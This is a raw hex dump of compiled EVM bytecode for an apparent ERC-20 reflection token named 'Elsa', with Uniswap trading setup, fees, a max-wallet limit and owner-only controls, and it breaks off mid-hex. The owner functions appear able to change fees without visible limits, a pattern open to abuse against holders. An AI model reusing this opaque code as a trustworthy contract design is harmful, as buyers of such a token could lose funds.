2c3157612c30612a6e565b5b5f612c3e84828501612aeb565b91505092915050565b5f60208284031215612c5c57612c5b612a6e565b5b5f612c6984828501612ab8565b91505092915050565b612c7b81612a91565b82525050565b5f602082019050612c945f830184612c72565b92915050565b612ca381612b3d565b8114612cad575f80fd5b50565b5f81359050612cbe81612c9a565b92915050565b5f8060408385031215612cda57612cd9612a6e565b5b5f612ce785828601612ab8565b9250506020612cf885828601612cb0565b9150509250929050565b5f60208284031215612d1757612d16612a6e565b5b5f612d2484828501612cb0565b91505092915050565b5f805f60608486031215612d4457612d43612a6e565b5b5f612d5186828701612aeb565b9350506020612d6286828701612aeb565b9250506040612d7386828701612aeb565b9150509250925092565b5f8060408385031215612d9357612d92612a6e565b5b5f612da085828601612ab8565b9250506020612db185828601612ab8565b9150509250929050565b5f612dc582612a72565b9050919050565b612dd581612dbb565b8114612ddf575f80fd5b50565b5f81359050612df081612dcc565b92915050565b5f60208284031215612e0b57612e0a612a6e565b5b5f612e1884828501612de2565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612e556020836129ce565b9150612e6082612e21565b602082019050919050565b5f6020820190508181035f830152612e8281612e49565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612ec082612acc565b9150612ecb83612acc565b9250828202612ed981612acc565b91508282048414831517612ef057612eef612e89565b5b5092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f612f516039836129ce565b9150612f5c82612ef7565b604082019050919050565b5f6020820190508181035f830152612f7e81612f45565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612fb96017836129ce565b9150612fc482612f85565b602082019050919050565b5f6020820190508181035f830152612fe681612fad565b9050919050565b5f81519050612ffb81612aa2565b92915050565b5f6020828403121561301657613015612a6e565b5b5f61302384828501612fed565b91505092915050565b5f60408201905061303f5f830185612c72565b61304c6020830184612c72565b9392505050565b5f819050919050565b5f819050919050565b5f61307f61307a61307584613053565b61305c565b612acc565b9050919050565b61308f81613065565b82525050565b5f60c0820190506130a85f830189612c72565b6130b56020830188612b70565b6130c26040830187613086565b6130cf6060830186613086565b6130dc6080830185612c72565b6130e960a0830184612b70565b979650505050505050565b5f8151905061310281612ad5565b92915050565b5f805f6060848603121561311f5761311e612a6e565b5b5f61312c868287016130f4565b935050602061313d868287016130f4565b925050604061314e868287016130f4565b9150509250925092565b5f60408201905061316b5f830185612c72565b6131786020830184612b70565b9392505050565b5f8151905061318d81612c9a565b92915050565b5f602082840312156131a8576131a7612a6e565b5b5f6131b58482850161317f565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6132186024836129ce565b9150613223826131be565b604082019050919050565b5f6020820190508181035f8301526132458161320c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132a66022836129ce565b91506132b18261324c565b604082019050919050565b5f6020820190508181035f8301526132d38161329a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6133346025836129ce565b915061333f826132da565b604082019050919050565b5f6020820190508181035f83015261336181613328565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6133c26023836129ce565b91506133cd82613368565b604082019050919050565b5f6020820190508181035f8301526133ef816133b6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6134506029836129ce565b915061345b826133f6565b604082019050919050565b5f6020820190508181035f83015261347d81613444565b9050919050565b5f61348e82612acc565b915061349983612acc565b92508282019050808211156134b1576134b0612e89565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6135116023836129ce565b915061351c826134b7565b604082019050919050565b5f6020820190508181035f83015261353e81613505565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e00000000000000005f82015250565b5f6135796018836129ce565b915061358482613545565b602082019050919050565b5f6020820190508181035f8301526135a68161356d565b9050919050565b5f6135b782612acc565b91506135c283612acc565b92508282039050818111156135da576135d9612e89565b5b92915050565b5f81905092915050565b50565b5f6135f85f836135e0565b9150613603826135ea565b5f82019050919050565b5f613617826135ed565b9150819050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f61367b602a836129ce565b915061368682613621565b604082019050919050565b5f6020820190508181035f8301526136a88161366f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61373b81612a91565b82525050565b5f61374c8383613732565b60208301905092915050565b5f602082019050919050565b5f61376e82613709565b6137788185613713565b935061378383613723565b805f5b838110156137b357815161379a8882613741565b97506137a583613758565b925050600181019050613786565b5085935050505092915050565b5f60a0820190506137d35f830188612b70565b6137e06020830187613086565b81810360408301526137f28186613764565b90506138016060830185612c72565b61380e6080830184612b70565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61384f82612acc565b915061385a83612acc565b92508261386a57613869613818565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6138a9601b836129ce565b91506138b482613875565b602082019050919050565b5f6020820190508181035f8301526138d68161389d565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6139376021836129ce565b9150613942826138dd565b604082019050919050565b5f6020820190508181035f8301526139648161392b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220433079ea5ee64eff50dccd0316c844633490333e7a927f7f87002f4ae7c8628964736f6c63430008180033	608060405260043610610143575f3560e01c806395d89b41116100b5578063cd5caee81161006e578063cd5caee81461040a578063cec10c1114610432578063d043c0441461045a578063db92dbb614610482578063dd62ed3e146104ac578063ee5ecc89146104e85761014a565b806395d89b41146103285780639a7a23d614610352578063a9059cbb1461037a578063c110788f146103b6578063c3c8cd80146103de578063c9567bf9146103f45761014a565b8063313ce56711610107578063313ce567146102445780635d0044ca1461026e5780636fc3eaec1461029657806370a08231146102ac578063715018a6146102e85780638da5cb5b146102fe5761014a565b806306fdde031461014e578063095ea7b31461017857806318160ddd146101b457806323b872dd146101de57806327f3a72a1461021a5761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610510565b60405161016f9190612a4e565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612aff565b61054d565b6040516101ab9190612b57565b60405180910390f35b3480156101bf575f80fd5b506101c861056a565b6040516101d59190612b7f565b60405180910390f35b3480156101e9575f80fd5b5061020460048036038101906101ff9190612b98565b61057b565b6040516102119190612b57565b60405180910390f35b348015610225575f80fd5b5061022e61064f565b60405161023b9190612b7f565b60405180910390f35b34801561024f575f80fd5b5061025861065e565b6040516102659190612c03565b60405180910390f35b348015610279575f80fd5b50610294600480360381019061028f9190612c1c565b610666565b005b3480156102a1575f80fd5b506102aa610713565b005b3480156102b7575f80fd5b506102d260048036038101906102cd9190612c47565b6107b7565b6040516102df9190612b7f565b60405180910390f35b3480156102f3575f80fd5b506102fc610805565b005b348015610309575f80fd5b50610312610953565b60405161031f9190612c81565b60405180910390f35b348015610333575f80fd5b5061033c61097a565b6040516103499190612a4e565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190612cc4565b6109b7565b005b348015610385575f80fd5b506103a0600480360381019061039b9190612aff565b610ae8565b6040516103ad9190612b57565b60405180910390f35b3480156103c1575f80fd5b506103dc60048036038101906103d79190612d02565b610b05565b005b3480156103e9575f80fd5b506103f2610bb6565b005b3480156103ff575f80fd5b50610408610c62565b005b348015610415575f80fd5b50610430600480360381019061042b9190612d02565b611190565b005b34801561043d575f80fd5b5061045860048036038101906104539190612d2d565b611242565b005b348015610465575f80fd5b50610480600480360381019061047b9190612c1c565b6112f0565b005b34801561048d575f80fd5b5061049661139d565b6040516104a39190612b7f565b60405180910390f35b3480156104b7575f80fd5b506104d260048036038101906104cd9190612d7d565b6113cd565b6040516104df9190612b7f565b60405180910390f35b3480156104f3575f80fd5b5061050e60048036038101906105099190612df6565b61144f565b005b60606040518060400160405280600481526020017f456c736100000000000000000000000000000000000000000000000000000000815250905090565b5f6105606105596115f0565b84846115f7565b6001905092915050565b5f69d3c21bcecceda1000000905090565b5f6105878484846117ba565b610644846105936115f0565b61063f8560405180606001604052806028815260200161396c6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105f66115f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e599092919063ffffffff16565b6115f7565b600190509392505050565b5f610659306107b7565b905090565b5f6009905090565b61066e6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f190612e6b565b60405180910390fd5b633b9aca008161070a9190612eb6565b600c8190555050565b61071b6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079e90612e6b565b60405180910390fd5b5f4790506107b481611ebb565b50565b5f6107fe60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f7f565b9050919050565b61080d6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090612e6b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f454c534100000000000000000000000000000000000000000000000000000000815250905090565b6109bf6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4290612e6b565b60405180910390fd5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190612f67565b60405180910390fd5b610ae48282611feb565b5050565b5f610afb610af46115f0565b84846117ba565b6001905092915050565b610b0d6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9090612e6b565b60405180910390fd5b80601360166101000a81548160ff02191690831515021790555050565b610bbe6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190612e6b565b60405180910390fd5b5f610c54306107b7565b9050610c5f81612043565b50565b610c6a6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ced90612e6b565b60405180910390fd5b601360149054906101000a900460ff1615610d46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3d90612fcf565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dd43060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006115f7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e419190613001565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eca9190613001565b6040518363ffffffff1660e01b8152600401610ee792919061302c565b6020604051808303815f875af1158015610f03573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f279190613001565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fae306107b7565b5f80610fb8610953565b426040518863ffffffff1660e01b8152600401610fda96959493929190613095565b60606040518083038185885af1158015610ff6573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061101b9190613108565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110bb929190613158565b6020604051808303815f875af11580156110d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110fb9190613193565b50600160145f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001601360146101000a81548160ff02191690831515021790555050565b6111986115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b90612e6b565b60405180910390fd5b8015601360156101000a81548160ff02191690831515021790555050565b61124a6115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd90612e6b565b60405180910390fd5b82600d8190555081600e8190555080600a81905550505050565b6112f86115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612e6b565b60405180910390fd5b633b9aca00816113949190612eb6565b60048190555050565b5f6113c860135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107b7565b905090565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6114576115f0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da90612e6b565b60405180910390fd5b5f60085f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508060115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c9061322e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca906132bc565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117ad9190612b7f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f9061334a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188d906133d8565b60405180910390fd5b5f81116118d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cf90613466565b60405180910390fd5b6118e0610953565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561194e575061191e610953565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cdb5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156119f7575060095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611a0557505f600c5414155b15611a6357600c5481611a17846107b7565b611a219190613484565b1115611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990613527565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b0c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b5f575060085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611bbd57601360149054906101000a900460ff16611bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baa9061358f565b60405180910390fd5b600d54600b819055505b5f611bc7306107b7565b9050601360179054906101000a900460ff16158015611c33575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c4b5750601360149054906101000a900460ff165b15611cd957600e54600b8190555060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611cd857600454811115611cd757601360169054906101000a900460ff1615611ccd5760045490505b611cd6816122ae565b5b5b5b505b5f60019050601360159054906101000a900460ff1680611d41575060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611d92575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611d9f575f9050611e47565b60145f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611e3d575060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e46575f90505b5b611e53848484846122d1565b50505050565b5f838311158290611ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e979190612a4e565b60405180910390fd5b505f8385611eae91906135ad565b9050809150509392505050565b5f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051611f019061360d565b5f6040518083038185875af1925050503d805f8114611f3b576040519150601f19603f3d011682016040523d82523d5f602084013e611f40565b606091505b505090507fb6caad5b328a3de9a49b44605241a4b72f6f1aa955829d12e37decfd84a0b8ca81604051611f739190612b57565b60405180910390a15050565b5f600254821115611fc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbc90613691565b60405180910390fd5b5f611fce6122fe565b9050611fe3818461232790919063ffffffff16565b915050919050565b8060145f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b6001601360176101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561207a576120796136af565b5b6040519080825280602002602001820160405280156120a85781602001602082028036833780820191505090505b50905030815f815181106120bf576120be6136dc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612163573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121879190613001565b8160018151811061219b5761219a6136dc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122013060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115f7565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016122639594939291906137c0565b5f604051808303815f87803b15801561227a575f80fd5b505af115801561228c573d5f803e3d5ffd5b50505050505f601360176101000a81548160ff02191690831515021790555050565b6122b781612043565b5f4790505f8111156122cd576122cc47611ebb565b5b5050565b806122df576122de612370565b5b6122ea8484846123a9565b806122f8576122f7612569565b5b50505050565b5f805f61230961257d565b91509150612320818361232790919063ffffffff16565b9250505090565b5f61236883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125df565b905092915050565b5f600a5414801561238257505f600b54145b6123a757600a54600f81905550600b546010819055505f600a819055505f600b819055505b565b5f805f805f806123b887612640565b9550955095509550955095506124148660055f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546126a090919063ffffffff16565b60055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124a58560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546126e990919063ffffffff16565b60055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124ef81612746565b6124f984836127fd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125569190612b7f565b60405180910390a3505050505050505050565b600f54600a81905550601054600b81905550565b5f805f60025490505f69d3c21bcecceda100000090506125b269d3c21bcecceda100000060025461232790919063ffffffff16565b8210156125d25760025469d3c21bcecceda10000009350935050506125db565b81819350935050505b9091565b5f8083118290612625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261c9190612a4e565b60405180910390fd5b505f83856126339190613845565b9050809150509392505050565b5f805f805f805f805f6126588a600a54600b54612837565b9250925092505f6126676122fe565b90505f805f6126788e8787876128c9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f6126e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e59565b905092915050565b5f8082846126f79190613484565b90508381101561273c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612733906138bf565b60405180910390fd5b8091505092915050565b5f61274f6122fe565b90505f612765828461294d90919063ffffffff16565b90506127b78160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546126e990919063ffffffff16565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612812826002546126a090919063ffffffff16565b60028190555061282d816003546126e990919063ffffffff16565b6003819055505050565b5f805f806128616064612853888a61294d90919063ffffffff16565b61232790919063ffffffff16565b90505f61288a606461287c888b61294d90919063ffffffff16565b61232790919063ffffffff16565b90505f6128b2826128a4858c6126a090919063ffffffff16565b6126a090919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f806128e0858961294d90919063ffffffff16565b90505f6128f6868961294d90919063ffffffff16565b90505f61290c878961294d90919063ffffffff16565b90505f6129348261292685876126a090919063ffffffff16565b6126a090919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f80830361295d575f90506129be565b5f828461296a9190612eb6565b90508284826129799190613845565b146129b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b09061394d565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156129fb5780820151818401526020810190506129e0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612a20826129c4565b612a2a81856129ce565b9350612a3a8185602086016129de565b612a4381612a06565b840191505092915050565b5f6020820190508181035f830152612a668184612a16565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612a9b82612a72565b9050919050565b612aab81612a91565b8114612ab5575f80fd5b50565b5f81359050612ac681612aa2565b92915050565b5f819050919050565b612ade81612acc565b8114612ae8575f80fd5b50565b5f81359050612af981612ad5565b92915050565b5f8060408385031215612b1557612b14612a6e565b5b5f612b2285828601612ab8565b9250506020612b3385828601612aeb565b9150509250929050565b5f8115159050919050565b612b5181612b3d565b82525050565b5f602082019050612b6a5f830184612b48565b92915050565b612b7981612acc565b82525050565b5f602082019050612b925f830184612b70565b92915050565b5f805f60608486031215612baf57612bae612a6e565b5b5f612bbc86828701612ab8565b9350506020612bcd86828701612ab8565b9250506040612bde86828701612aeb565b9150509250925092565b5f60ff82169050919050565b612bfd81612be8565b82525050565b5f602082019050612c165f830184612bf4565b92915050565b5f60208284031215612c3157612c30612a6e565b5b5f612c3e84828501612aeb565b91505092915050565b5f60208284031215612c5c57612c5b612a6e565b5b5f612c6984828501612ab8565b91505092915050565b612c7b81612a91565b82525050565b5f602082019050612c945f830184612c72565b92915050565b612ca381612b3d565b8114612cad575f80fd5b50565b5f81359050612cbe81612c9a565b92915050565b5f8060408385031215612cda57612cd9612a6e565b5b5f612ce785828601612ab8565b9250506020612cf885828601612cb0565b9150509250929050565b5f60208284031215612d1757612d16612a6e565b5b5f612d2484828501612cb0565b91505092915050565b5f805f60608486031215612d4457612d43612a6e565b5b5f612d5186828701612aeb565b9350506020612d6286828701612aeb565b9250506040612d7386828701612aeb565b9150509250925092565b5f8060408385031215612d9357612d92612a6e565b5b5f612da085828601612ab8565b9250506020612db185828601612ab8565b9150509250929050565b5f612dc582612a72565b9050919050565b612dd581612dbb565b8114612ddf575f80fd5b50565b5f81359050612df081612dcc565b92915050565b5f60208284031215612e0b57612e0a612a6e565b5b5f612e1884828501612de2565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612e556020836129ce565b9150612e6082612e21565b602082019050919050565b5f6020820190508181035f830152612e8281612e49565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612ec082612acc565b9150612ecb83612acc565b9250828202612ed981612acc565b91508282048414831517612ef057612eef612e89565b5b5092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f612f516039836129ce565b9150612f5c82612ef7565b604082019050919050565b5f6020820190508181035f830152612f7e81612f45565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612fb96017836129ce565b9150612fc482612f85565b602082019050919050565b5f6020820190508181035f830152612fe681612fad565b9050919050565b5f81519050612ffb81612aa2565b92915050565b5f6020828403121561301657613015612a6e565b5b5f61302384828501612fed565b91505092915050565b5f60408201905061303f5f830185612c72565b61304c6020830184612c72565b9392505050565b5f819050919050565b5f819050919050565b5f61307f61307a61307584613053565b61305c565b612acc565b9050919050565b61308f81613065565b82525050565b5f60c0820190506130a85f830189612c72565b6130b56020830188612b70565b6130c26040830187613086565b6130cf6060830186613086565b6130dc6080830185612c72565b6130e960a08301846